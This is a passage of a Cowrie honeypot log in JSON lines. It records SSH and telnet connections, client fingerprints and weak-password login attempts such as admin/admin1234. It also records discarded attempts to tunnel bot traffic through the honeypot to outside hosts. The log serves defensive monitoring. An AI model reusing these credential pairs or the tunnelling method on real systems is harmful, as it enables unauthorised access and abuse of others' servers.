],\\x15\\x93\\xf9\\xc1\\xd6\\x1eg3S\\xefW[X\\x08[\\xe3!\\xe6\\x9aU&-\\xbaxtX\\xea\\xe6\\xc9\\xbc\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 P\\x97\\x93\\x99\\xc7\\xa2|\\xc9e\\xd9\\x11G\\xa6\\xa1J\\xb4-~{v\\xcd\\xf7[\\xf2\\'\\xa6\\x81-\\x90\\x7fQj\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:41.294678Z","src_ip":"123.27.168.40","session":"824b113b9852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:41.625891Z","src_ip":"123.27.168.40","session":"824b113b9852","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":33676,"dst_ip":"159.203.135.109","dst_port":22,"session":"df57b407fb1e","protocol":"ssh","message":"New connection: 101.79.165.43:33676 (159.203.135.109:22) [session: df57b407fb1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:43.718135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:43.724511Z","src_ip":"101.79.165.43","session":"df57b407fb1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:43.942014Z","src_ip":"101.79.165.43","session":"df57b407fb1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sai","password":"sai@123","message":"login attempt [sai/sai@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:44.852830Z","src_ip":"101.79.165.43","session":"df57b407fb1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:46.073572Z","src_ip":"101.79.165.43","session":"df57b407fb1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52130,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b1df719159c","protocol":"telnet","message":"New connection: 172.81.62.90:52130 (159.203.135.109:23) [session: 5b1df719159c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:57.311216Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57224,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5b006edb517","protocol":"telnet","message":"New connection: 172.81.62.90:57224 (159.203.135.109:23) [session: a5b006edb517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:58.913508Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57240,"dst_ip":"159.203.135.109","dst_port":23,"session":"d979f8e22f97","protocol":"telnet","message":"New connection: 172.81.62.90:57240 (159.203.135.109:23) [session: d979f8e22f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:00.891559Z"}
{"eventid":"cowrie.session.closed","duration":36.07857608795166,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:07.596733Z","src_ip":"128.199.8.54","session":"f19e15a5e096","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":63170,"dst_ip":"10.17.0.5","dst_port":22,"session":"737f1d4fae72","protocol":"ssh","message":"New connection: 113.164.152.20:63170 (10.17.0.5:22) [session: 737f1d4fae72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:12.014341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:12.018501Z","src_ip":"113.164.152.20","session":"737f1d4fae72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:12.314340Z","src_ip":"113.164.152.20","session":"737f1d4fae72","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:13.498041Z","src_ip":"113.164.152.20","session":"737f1d4fae72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:13.898816Z","session":"737f1d4fae72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:14.014035Z","session":"737f1d4fae72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:14.167423Z","src_ip":"113.164.152.20","session":"737f1d4fae72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/605.1.33 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.33\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UzxOd3NScXYwTXRAdjNfTw%3D%3DWZyK5AOn%2BCzPEasnpXd7cG4Ony9nHtZHFCflRFAjAbtxOeDY0u3FTI1ZO7c8ZLK%2Fku4XQYjgjqpa5ya7Vn8%2BqhxS%2BJST%2Fca51rmYRDtKu8Fu2p3qEAEMKfR5LJo3i7PsKXuwZ8tG449YCfvBB17J7IJQmrSdNNJkBkmEtKOuqcBrBNESmI2mEtlqIXvUFnDeH4PlJU2qe%2B%2Bf3fF9fjDYJth9RmrWcR67Ea8yw0mcEkkJnzoUc51eb5aVtk7jpK724Qr4EmUVB5DcbB7LRZGReK0bQKWD7g6HI4hUbG%2Fsh0JjBVAIGNW3ciU0QWvFms6YPCiTVN9yY1%2FpozOrYZvGYfUQ%2BQWayignRGAOUEOsl%2FLd%2FQ0VxNKzwofBJMW%2FY1VrROvV7umkMR2oyMyfEgmMdOC4Jv9yb19M3X7lx89%2FNdOPRdKcPIjKoTf39O7PRMGAPiZPtu06JtzYtIDEOM%2Ft0oAGZGxeJbVsL%2BwbObt3mLCY8RoZUKDMG1ea08SZIPveOnE2E5qpDJzrwBfyzS3V5QjtJ9Zvmkv95PJHT3D110UexN4FNjVn6zCKU%2BIyaJ584GlAPjO2kFhIwesSfNAODbmgNV9akDOahsDX6p3HpNS1GX%2FkYSdl9GmDAy9Td4iF%2FuS6ux16AnPqe4npqElQgEb5R3SWx8vHTueREOJc1H4zCOvVaXhq86cqFfcVdNSDaF%2FAqoYsE1%2FSTUETQKoRa5OaYm9aUvcm8QgBolh04lyt6UnQxDh6KrRnzKbj7VtDxxX%2BbY4eJmi3JJTgEotE1kcCAdoN2RAdNOjr%2BS5V3v8iDKbnrHjrspvwcAVMYxoVuFJii4gG%2FSctKgUWFtqwr0F%2BCU%2Fg4%2FnEf90YsLDDq42uJQQ1ok2txsd5jTyQyqYiglwW%2FXMtJgwdGhXZcy64TS2ohJn1kogEMyi0C%2BRyvyDqy374kKbzEHxG8Afyms2L%2FE5oi%2BF4BXSIsKxYsDbjsdiccWJn7Pxf1vWYIJWP%2B8fqyoU4tEJmdcp7pIlxxpIDeQr6YyzAI1vjUb1RvC4yH0n06oSYFTRV4ecxPfZrS0E5xPnGEJVTx2kTxZ9s5CHf'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/605.1.33 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.33\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UzxOd3NScXYwTXRAdjNfTw%3D%3DWZyK5AOn%2BCzPEasnpXd7cG4Ony9nHtZHFCflRFAjAbtxOeDY0u3FTI1ZO7c8ZLK%2Fku4XQYjgjqpa5ya7Vn8%2BqhxS%2BJST%2Fca51rmYRDtKu8Fu2p3qEAEMKfR5LJo3i7PsKXuwZ8tG449YCfvBB17J7IJQmrSdNNJkBkmEtKOuqcBrBNESmI2mEtlqIXvUFnDeH4PlJU2qe%2B%2Bf3fF9fjDYJth9RmrWcR67Ea8yw0mcEkkJnzoUc51eb5aVtk7jpK724Qr4EmUVB5DcbB7LRZGReK0bQKWD7g6HI4hUbG%2Fsh0JjBVAIGNW3ciU0QWvFms6YPCiTVN9yY1%2FpozOrYZvGYfUQ%2BQWayignRGAOUEOsl%2FLd%2FQ0VxNKzwofBJMW%2FY1VrROvV7umkMR2oyMyfEgmMdOC4Jv9yb19M3X7lx89%2FNdOPRdKcPIjKoTf39O7PRMGAPiZPtu06JtzYtIDEOM%2Ft0oAGZGxeJbVsL%2BwbObt3mLCY8RoZUKDMG1ea08SZIPveOnE2E5qpDJzrwBfyzS3V5QjtJ9Zvmkv95PJHT3D110UexN4FNjVn6zCKU%2BIyaJ584GlAPjO2kFhIwesSfNAODbmgNV9akDOahsDX6p3HpNS1GX%2FkYSdl9GmDAy9Td4iF%2FuS6ux16AnPqe4npqElQgEb5R3SWx8vHTueREOJc1H4zCOvVaXhq86cqFfcVdNSDaF%2FAqoYsE1%2FSTUETQKoRa5OaYm9aUvcm8QgBolh04lyt6UnQxDh6KrRnzKbj7VtDxxX%2BbY4eJmi3JJTgEotE1kcCAdoN2RAdNOjr%2BS5V3v8iDKbnrHjrspvwcAVMYxoVuFJii4gG%2FSctKgUWFtqwr0F%2BCU%2Fg4%2FnEf90YsLDDq42uJQQ1ok2txsd5jTyQyqYiglwW%2FXMtJgwdGhXZcy64TS2ohJn1kogEMyi0C%2BRyvyDqy374kKbzEHxG8Afyms2L%2FE5oi%2BF4BXSIsKxYsDbjsdiccWJn7Pxf1vWYIJWP%2B8fqyoU4tEJmdcp7pIlxxpIDeQr6YyzAI1vjUb1RvC4yH0n06oSYFTRV4ecxPfZrS0E5xPnGEJVTx2kTxZ9s5CHf'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:14.170807Z","src_ip":"113.164.152.20","session":"737f1d4fae72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:14.430493Z","src_ip":"113.164.152.20","session":"737f1d4fae72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03R\\x1b\\xd4r#l\\xbb\\x02\\r<1^\\xf4A|\\xb1\\xb8P|\\xbcf\\ni\\xb0\\x8e\\x16\\xef\\xc4\\x0fa/b \\x02\\xa4\\x8c\\t\\xf13p\\xe3\\x9f\\xca{?\\xb9@\\r\\xfb\\xa3\\xc44\\xd8\\x0b4\\xb1\\x8a3\\x97\\xf9\\x0b\\xc0\\x11\\xf7\\xbd\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1d\\xce~G\\xb7b~\\xd1C^O\\xe0\\x7f\\x85\\xa9y\\xd6{\\xf8L\\xd4\\xab\\xb2\\xedV\\x07\\xc3\\xee\\x16\\xe3\\x97A\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03R\\x1b\\xd4r#l\\xbb\\x02\\r<1^\\xf4A|\\xb1\\xb8P|\\xbcf\\ni\\xb0\\x8e\\x16\\xef\\xc4\\x0fa/b \\x02\\xa4\\x8c\\t\\xf13p\\xe3\\x9f\\xca{?\\xb9@\\r\\xfb\\xa3\\xc44\\xd8\\x0b4\\xb1\\x8a3\\x97\\xf9\\x0b\\xc0\\x11\\xf7\\xbd\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1d\\xce~G\\xb7b~\\xd1C^O\\xe0\\x7f\\x85\\xa9y\\xd6{\\xf8L\\xd4\\xab\\xb2\\xedV\\x07\\xc3\\xee\\x16\\xe3\\x97A\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:14.437950Z","src_ip":"113.164.152.20","session":"737f1d4fae72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:14.961442Z","session":"737f1d4fae72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:15.229692Z","src_ip":"113.164.152.20","session":"737f1d4fae72","protocol":"ssh"}
